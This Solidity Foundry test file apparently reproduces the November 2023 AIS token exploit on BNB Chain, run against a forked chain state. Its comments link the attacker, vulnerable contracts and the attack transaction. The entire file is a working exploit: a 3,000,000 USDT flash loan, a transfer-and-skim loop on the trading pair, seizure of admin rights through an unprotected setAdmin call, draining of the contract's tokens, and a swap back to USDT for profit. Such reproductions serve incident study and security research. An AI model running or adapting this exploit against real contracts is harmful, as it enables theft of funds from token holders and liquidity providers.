src/test/2023-11/AIS_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo -- Total Lost : ~$61k
8// Frontrunner: https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891
9// Original Attacker: https://bscscan.com/address/0x84f37F6cC75cCde5fE9bA99093824A11CfDc329D
10// Frontrunner Contract: https://bscscan.com/address/0x15ffd1d02b3918c9e56f75e30d23786d3ef2b5bc
11// Original Attack Contract: https://bscscan.com/address/0xf6f60b0e83d9837c1f247c575c8583b1d085d351
12// Vulnerable Contract:
13// https://bscscan.com/address/0x6844ef18012a383c14e9a76a93602616ee9d6132
14// https://bscscan.com/address/0xffac2ed69d61cf4a92347dcd394d36e32443d9d7
15// Attack Tx: https://bscscan.com/tx/0x0be817b6a522a111e06293435c233dab6576d7437d0e148b45efcf7ab8a10de0
16 
17// @Analysis
18// https://twitter.com/Phalcon_xyz/status/1729861048004391306
19 
20interface IAIS is IERC20 {
21    function setSwapPairs(
22        address _address
23    ) external;
24    function harvestMarket() external;
25}
26 
27interface VulContract {
28    function setAdmin(
29        address _admin
30    ) external;
31    function transferToken(address _from, address _to, uint256 _tokenId) external;
32}
33 
34contract AISExploit is Test {
35    IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
36    IAIS AIS = IAIS(0x6844Ef18012A383c14E9a76a93602616EE9d6132);
37 
38    Uni_Pair_V3 pool = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);
39    Uni_Pair_V2 usdt_ais = Uni_Pair_V2(0x1219F2699893BD05FE03559aA78e0923559CF0cf);
40    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
41 
42    VulContract vulContract = VulContract(0xFFAc2Ed69D61CF4a92347dCd394D36E32443D9d7);
43 
44    function setUp() public {
45        vm.createSelectFork("bsc", 33_916_687);
46 
47        vm.label(address(usdt), "USDT");
48        vm.label(address(AIS), "AIS");
49        vm.label(address(pool), "pool");
50        vm.label(address(usdt_ais), "usdt_ais pair");
51        vm.label(address(router), "router");
52    }
53 
54    function testExploit() public {
55        uint256 balanceBefore = usdt.balanceOf(address(this));
56 
57        usdt.approve(address(router), type(uint256).max);
58        AIS.approve(address(router), type(uint256).max);
59 
60        pool.flash(address(this), 3_000_000 ether, 0, new bytes(1));
61        uint256 balanceAfter = usdt.balanceOf(address(this));
62        emit log_named_decimal_uint("USDT profit", balanceAfter - balanceBefore, usdt.decimals());
63    }
64 
65    function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {
66        swap(3_000_000 ether, address(usdt), address(AIS));
67 
68        usdt_ais.skim(address(this));
69        for (uint256 i = 0; i < 100; i++) {
70            uint256 balance = AIS.balanceOf(address(this));
71            AIS.transfer(address(usdt_ais), balance * 90 / 100);
72            AIS.transfer(address(usdt_ais), 0);
73            usdt_ais.skim(address(this));
74            usdt_ais.skim(address(this));
75        }
76 
77        AIS.harvestMarket();
78        vulContract.setAdmin(address(this));
79 
80        uint256 amount = AIS.balanceOf(address(vulContract)) * 90 / 100;
81        vulContract.transferToken(address(AIS), address(this), amount);
82        AIS.setSwapPairs(address(this));
83 
84        AIS.transfer(address(usdt_ais), AIS.balanceOf(address(this)));
85        AIS.transfer(address(usdt_ais), 0);
86        swap(0, address(AIS), address(usdt));
87 
88        usdt.transfer(address(pool), 3_000_000 ether + fee0);
89    }
90 
91    function swap(uint256 amountIn, address tokenIn, address tokenOut) internal {
92        address[] memory path = new address[](2);
93        path[0] = tokenIn;
94        path[1] = tokenOut;
95        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, address(this), block.timestamp);
96    }
97}